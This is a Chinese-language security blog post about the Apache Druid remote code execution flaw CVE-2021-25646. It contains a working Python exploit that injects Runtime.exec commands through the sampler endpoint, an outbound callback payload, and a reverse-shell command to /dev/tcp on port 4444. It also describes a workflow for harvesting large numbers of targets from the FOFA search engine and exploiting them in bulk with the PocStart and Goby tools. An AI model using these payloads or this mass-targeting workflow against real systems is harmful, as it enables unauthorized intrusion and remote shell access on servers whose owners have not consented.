技术分享|ApacheDruid 远程代码执行漏洞的自动化检测和利用

admin 2023年5月18日09:42:41评论39 views字数 7246阅读24分9秒阅读模式

技术分享|ApacheDruid 远程代码执行漏洞的自动化检测和利用


正文共:7319字 13图    预计阅读时间:19分钟


| 0x01 漏洞简介 |
Apache Druid 是一个分布式的数据处理系统。它能够执行嵌入在各种类型的请求中用户提供的JavaScript代码。此功能旨在用于高信任度环境,默认情况下处于禁用状态但是在Druid 0.20.0和更早版本中,经过身份验证的用户可以发送特制请求,以强制Druid为该请求运行用户提供的JavaScript代码,而默认安装情况下并未启用身份验证因此攻击者可直接构造恶意请求执行任意代码,控制服务器。


0x02 环境部署 |
```https://druid.apache.org/docs/latest/tutorials/index.htmlwget https://downloads.apache.org/druid/0.19.0/apache-druid-0.19.0-bin.tar.gztar -zxvf apache-druid-0.19.0-bin.tar.gzdd apache-druid-0.19.0-bin./bin/start-micro-quickstart```


0x03 漏洞检测和利用 |

对于该漏洞,在目标机器可以出网的情况下,可以反连你自己的http server 然后查看访问日志来检测漏洞是否存在。

payload:
```{"type": "index", "spec": {"ioConfig": {"type": "index", "inputSource": {"type": "inline", "data": "{"isRobot":true,"channel":"#x","timestamp":"2021-2-1T14:12:24.050Z","flags":"x","isUnpatrolled":false,"page":"1","diffUrl":"https://www.google.com","added":1,"comment":"Botskapande Indonesien omdirigering","commentLength":35,"isNew":true,"isMinor":false,"delta":31,"isAnonymous":true,"user":"Lsjbot","deltaBucket":0,"deleted":0,"namespace":"Main"}"}, "inputFormat": {"type": "json", "keepNullColumns": true}}, "dataSchema": {"dataSource": "sample", "timestampSpec": {"column": "timestamp", "format": "iso"}, "dimensionsSpec": {}, "transformSpec": {"transforms": [], "filter": {"type": "javascript", "dimension": "added", "function": "function(value) {java.net.URL("http://7.7.7.7:9090")}", "": {"enabled": true}}}}, "type": "index", "tuningConfig": {"type": "index"}}, "samplerConfig": {"numRows": 500, "timeoutMs": 15000}}```

技术分享|ApacheDruid 远程代码执行漏洞的自动化检测和利用


如果目标不能出网可以在web目录写个txt 然后请求访问判读文件是否存在来判读漏洞,由于我对apache-druid研究的不透彻暂时不知道文件该创建在那个目录才能通过web访问到,如果有人知道请告诉我 :)

```function(value) {java.io.PrintWriter("flag.txt")}flystart@flystart-virtual-machine:~/apache-druid/apache-druid-0.19.0$ find  ./ -name "flag.txt"|xargs  ls -al-rw-r--r-- 1 flystart flystart 0 2月   5 11:11 ./flag.txt```

在web server 未屏蔽错误的情况下可以构造错误的poc 让服务器出错,根据错误信来判读漏洞的存在,这也是下文poc中的检测方法。


0x04 红队武器自动化 |


 


有些时候我们需要通过搜索引擎抓取大量的目标进行测试和研究,网上有人对安全研究者常用的搜索引擎做了个排名和对比,我认为不太客观而且缺少了一个很好用并且非常良心的搜索引擎fofa,价格非常便宜,支付一次永久使用,查询不限制次数,普通会员每次可以查询10000条数据,对于安全研究来说完全足够了。我做渗透和漏洞赏金项目的时候经常用它协助寻找目标。



技术分享|ApacheDruid 远程代码执行漏洞的自动化检测和利用

技术分享|ApacheDruid 远程代码执行漏洞的自动化检测和利用


我使用C/C++ 写了一款自动抓取网页搜索结果的工具,github上面有很多的python client,大家可以搜一搜。

技术分享|ApacheDruid 远程代码执行漏洞的自动化检测和利用


导出查询结果到文件

技术分享|ApacheDruid 远程代码执行漏洞的自动化检测和利用


获取到大量目标url之后就是编写PoC 和 Exp了,关于漏洞的检测和利用网上有很多开源的框架,我早期一直使用pocsuite和poc-t,  他们都有各自的特色和不足,现在给大家推荐两个漏洞检测和利用框架,一个是我自己开发的非常轻量级的PocStart(https://github.com/ggg4566/PocStart

技术分享|ApacheDruid 远程代码执行漏洞的自动化检测和利用


另一个是渗透神器goby(https://gobies.org/)

技术分享|ApacheDruid 远程代码执行漏洞的自动化检测和利用


PocStart 是一个轻量级漏洞检测和利用框架,支持python 2 和python3,建议使用python3 ,它的好处是开源轻便,代码只有两百多行,可以根据需求修改,缺点就是PoC不是很多。Goby是一款渗透神器它和fofa都是出自同一家安全公司,这家公司的创始人是大名鼎鼎的黑客zwell,早期开发了很多好用的安全工具,所以这款工具完全按照黑客思维设计,集资产识别和漏洞检测利用为一体,内置两百多个具有实战价值的PoC,是渗透测试的不二神器,目前仍然处于迭代开发中。


接下来我会利用这两个框架实现对apach-druid rce 漏洞的批量检测和利用。

首先说说PocStart ,PoC 编写非常简单,只需要实现

def verify(target_node) def attack(target_node)

这两个函数即可,verify 用来检测漏洞,attack 则利用漏洞。

target_node is dics node = {'target': '', 'port': '', 'param': ''}

target 和 port 不用解释大家都很明白,param 在漏洞利用的时候作为exploit的参数传入,比如可以作为文件下载漏洞的文件名称、命令执行的命令等等。


PoC:```python#! /usr/bin/env python# -*- coding:utf-8 -*-# author:flystart# home:www.flystart.org# time:2021/2/4# refer:https://www.tenable.com/cve/CVE-2021-25646# https://mp.weixin.qq.com/s/m7WLwJX-566WQ29Tuv7dtgimport requestsimport json
#requests.packages.urllib3.disable_warnings()res = {}

def verify(target_node): target = target_node['target'] url = target + "/druid/indexer/v1/sampler" res = {} res['Info'] = "" res['Success'] = False headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36', 'Content-Type': 'application/json'} try : sess = requests.session() sess.headers = headers payload = { "type":"index", "spec":{ "ioConfig":{ "type":"index", "inputSource":{ "type":"inline", "data":"{"isRobot":true,"channel":"#x","timestamp":"2021-2-1T14:12:24.050Z","flags":"x","isUnpatrolled":false,"page":"1","diffUrl":"https://xxx.com","added":1,"comment":"Botskapande Indonesien omdirigering","commentLength":35,"isNew":true,"isMinor":false,"delta":31,"isAnonymous":true,"user":"Lsjbot","deltaBucket":0,"deleted":0,"namespace":"Main"}" }, "inputFormat":{ "type":"json", "keepNullColumns":True } }, "dataSchema":{ "dataSource":"sample", "timestampSpec":{ "column":"timestamp", "format":"iso" }, "dimensionsSpec":{
}, "transformSpec":{ "transforms":[], "filter":{ "type":"javascript", "dimension":"added", "function":"function(value) {java.io.abc()}", "":{ "enabled":True } } } }, "type":"index", "tuningConfig":{ "type":"index" } }, "samplerConfig":{ "numRows":500, "timeoutMs":15000 } } _response= sess.post(url,data=json.dumps(payload),verify=False) res_code = _response.status_code res_text = _response.text _keyword = "JavaPackage java.io" if 400 == res_code and _keyword in res_text: res['Info'] = 'FOUNDED VULNERABILTY!!!' res['Success'] = True except Exception as e: res['Info'] = e res['Success'] = False return res

def attack(target_node): target = target_node['target'] param = target_node['param'] url = target + "/druid/indexer/v1/sampler" res = {} res['Info'] = "" res['Success'] = False headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36', 'Content-Type': 'application/json'} try : sess = requests.session() sess.headers = headers payload = { "type":"index", "spec":{ "ioConfig":{ "type":"index", "inputSource":{ "type":"inline", "data":"{"isRobot":true,"channel":"#x","timestamp":"2021-2-1T14:12:24.050Z","flags":"x","isUnpatrolled":false,"page":"1","diffUrl":"https://xxx.com","added":1,"comment":"Botskapande Indonesien omdirigering","commentLength":35,"isNew":true,"isMinor":false,"delta":31,"isAnonymous":true,"user":"Lsjbot","deltaBucket":0,"deleted":0,"namespace":"Main"}" }, "inputFormat":{ "type":"json", "keepNullColumns":True } }, "dataSchema":{ "dataSource":"sample", "timestampSpec":{ "column":"timestamp", "format":"iso" }, "dimensionsSpec":{
}, "transformSpec":{ "transforms":[], "filter":{ "type":"javascript", "dimension":"added", "function":"function(value) {java.lang.Runtime.getRuntime().exec('%s')}"%(param), "":{ "enabled":True } } } }, "type":"index", "tuningConfig":{ "type":"index" } }, "samplerConfig":{ "numRows":500, "timeoutMs":15000 } } _response= sess.post(url,data=json.dumps(payload),verify=False) res_code = _response.status_code if 200 == res_code: res['Info'] = 'VULNERABILTY Success Exploit!!!|%s'% param res['Success'] = True except Exception as e: res['Info'] = e res['Success'] = False return res
```
利用前面抓取的目标进行漏洞检测的结果```python3 PocStart.py -iF urls.txt -s apacheDruid/CVE_2021_25646_RCE.py```![](apache_druid/8.png)
exploit vulnerabilty:
```python PocStart.py -iS http://192.168.181.172:8081 -s apacheDruid/CVE_2021_25646_RCE.py -m attack -param "/bin/bash - c $@|bash 0 echo bash -i >&/dev/tcp/192.168.181.160/4444 0>&1"```

技术分享|ApacheDruid 远程代码执行漏洞的自动化检测和利用


** 接下来重点介绍一下goby poc的生成 **

PoC 生成有两个选项卡,Exploit 是漏洞描述以及其他一些漏洞信息,Query Rule是需要重点关注的字段,Goby在扫描端口的时候会首先去识别webapp,如果识别到了才会调用PoC去扫描,所以这里一定要填写正确,可以阅读右边的帮助语法来填写。

技术分享|ApacheDruid 远程代码执行漏洞的自动化检测和利用


Test 填写是PoC生成的重点,发送一个请求需要设置RequestMethod/Url Path/Header,如果RequestMethod是POST则还需要设置Post Data,Request的各个字段填写完之后进行结果验证条件的设置,主要是根据响应结果来判断漏洞是否验证成果,比如这里验证响应码是400并且Response.body 包含字符串 JavaPackage java.io的设置如下图

技术分享|ApacheDruid 远程代码执行漏洞的自动化检测和利用


简单吧?填写完之后就可以Submit and Sing Ip Scan 测试了

技术分享|ApacheDruid 远程代码执行漏洞的自动化检测和利用

提交之后PoC保存在golibexploitsuser目录,可以在goby修改也可打开编辑器直接修改。

技术分享|ApacheDruid 远程代码执行漏洞的自动化检测和利用


Exploit 不能直接在goby中编辑,网友是通过修改poc来实现,稍微麻烦一些我按照网上的文章修改之后poc会加载失败,这里就不记录了,给篇参考文章大家自行研究。《参考文章


在批量检测方面,由于goby设计的时候是按照渗透测试的流程来考虑的,第一步是资产探测收集,所以在不扫描目标端口的情况无法利用内置PoC和用户自己的PoC进行扫描,可以在插件商店安装插件goby_exp创建一个空扫描任务批量导入目标地址利用PoC进行扫描;

技术分享|ApacheDruid 远程代码执行漏洞的自动化检测和利用

扫描任务完成之后就可以看到结果了,goby会自动把结果保存下来,如果你想知道更多的玩法,来这里挖掘更多的play 姿势https://github.com/gobysec/Goby


技术分享|ApacheDruid 远程代码执行漏洞的自动化检测和利用

Refer:

https://www.tenable.com/cve/CVE-2021-25646

https://mp.weixin.qq.com/s/ssA27HZrZ7Y-wGqJ2gix1w

https://mp.weixin.qq.com/s/m7WLwJX-566WQ29Tuv7dtg

原文始发于微信公众号(FOFA):技术分享|ApacheDruid 远程代码执行漏洞的自动化检测和利用

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年5月18日09:42:41
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   技术分享|ApacheDruid 远程代码执行漏洞的自动化检测和利用http://cn-sec.com/archives/1069760.html

发表评论

匿名网友 填写信息